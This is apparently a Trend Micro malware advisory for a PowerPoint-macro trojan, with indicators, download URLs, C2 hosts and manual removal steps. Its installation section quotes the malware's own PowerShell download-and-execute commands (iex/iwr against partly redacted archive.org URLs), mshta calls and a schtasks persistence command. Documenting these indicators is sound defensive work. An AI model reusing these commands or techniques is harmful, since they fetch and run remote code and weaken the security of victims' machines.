Trojan.P97M.VALYRIA.YXBEY
Windows

Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It downloads a file from a certain URL then renames it before storing it in the affected system.
It connects to certain websites to send and receive information.
TECHNICAL DETAILS
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan drops the following files:
- %User Startup%\Windows.lnk → points to %User Startup%\Windows.exe (non-existent)
- %Application Data%\Microsoft\Windows\Templates\Windows.lnk
- %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %Application Data% is the current user's Application Data folder, which is usually C:\Documents and Settings\{user name}\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Roaming on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)
It adds the following processes:
- MsHta http://www.j.mp/{redirection to specific resource}
- %System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}.us.archive.org/34/items/Coxes/Coxes.txt';$sss= {Obfuscated Code};$bbb={Obfuscated Code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
- %System%\WindowsPowerShell\v1.0\powershell.exe" i'E'x(iwr('https://{BLOCKED}.us.archive.org/12/items/Nexcry/Nexcry.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/12/items/Nexcry/Nexcry.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/12/items/Nexcry/Nexcry.txt') -useB);
- starts the following process:
- %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
- starts the following process:
- %System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://{BLOCKED}1230948@backishbackuponback.blogspot.com/p/back.html\""
- #cmd
- %System%\WScript.exe" "%Public%\lub.vbs"
- %System%\WindowsPowerShell\v1.0\powershell.exe" =https://{BLOCKED}.us.archive.org/34/items/Coxes/Coxes.txt
It injects codes into the following process(es):
- %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)
Other System Modifications
This Trojan adds the following registry entries:
HKEY_USERS\{SID}
di = !
HKEY_CURRENT_USER\Environment
SEE_MASK_NOZONECHECKS = 1
Download Routine
This Trojan downloads files from the following URLs then renames them before storage in the affected system:
- Short URLs of initial connection:
- http://www.j.mp/{redirection to specific resource}
- http://bit.ly/{redirection to specific resource}
- redirected to:
- https://{BLOCKED}too.blogspot.com/p/main-2.html → executes code that resides in the following URL:
- https://{BLOCKED}08.us.archive.org/34/items/Coxes/Coxes.txt → downloads files and executes lub.vbs
- https://{BLOCKED}too.blogspot.com/p/main-2.html → executes code that resides in the following URL:
- redirected to:
- https://{BLOCKED}09.us.archive.org/12/items/Nexcry/Nexcry.txt → code that resides here is injected into spwaned MSBuild.exe
- https://{BLOCKED}63-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
- https://{BLOCKED}09.us.archive.org/9/items/final-up/FinalUp.txt → lub.vbs
It saves the files it downloads using the following names:
- %Public%\clone.vbs → disables security in infected machine
- %Public%\lub.vbs → creates schedule task persistence for clone.vbs
(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)
Other Details
This Trojan adds the following registry keys:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\MediaResources
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
Control\MediaResources\msvideo
HKEY_CURRENT_USER\Software\Windows
It connects to the following website to send and receive information:
- {BLOCKED}tohoe.duckdns.org
- {BLOCKED}.{BLOCKED}.107.28
SOLUTION
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Restart in Safe Mode
Step 4
Deleting Scheduled Tasks
The following {Task Name} - {Task to be run} listed should be used in the steps identified below:
For Windows 2000, Windows XP, and Windows Server 2003:
- Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
System Tools>Scheduled Tasks. - Locate each {Task Name} values listed above in the Name column.
- Right-click on the said file(s) with the aforementioned value.
- Click on Properties. In the Run field, check for the listed {Task to be run}.
- If the strings match the list above, delete the task.
For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:
- Open the Windows Task Scheduler. To do this:
• On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
• On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter. - In the left panel, click Task Scheduler Library.
- In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
- In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
- If the said string is found, delete the task.
Step 5
Delete this registry value
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_USERS\{SID}
- di = !
- di = !
- In HKEY_CURRENT_USER\Environment
- SEE_MASK_NOZONECHECKS = 1
- SEE_MASK_NOZONECHECKS = 1
Step 6
Delete this registry key
Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MediaResources
- In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MediaResources\msvideo
- In HKEY_CURRENT_USER\Software\Windows
Step 7
Search and delete this file
- %User Startup%\Windows.lnk
- %Application Data%\Microsoft\Windows\Templates\Windows.lnk
- %AppDataLocal%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- %Public%\clone.vbs
- %Public%\lub.vbs
Step 8
Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.P97M.VALYRIA.YXBEY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.
Did this description help? Tell us how we did.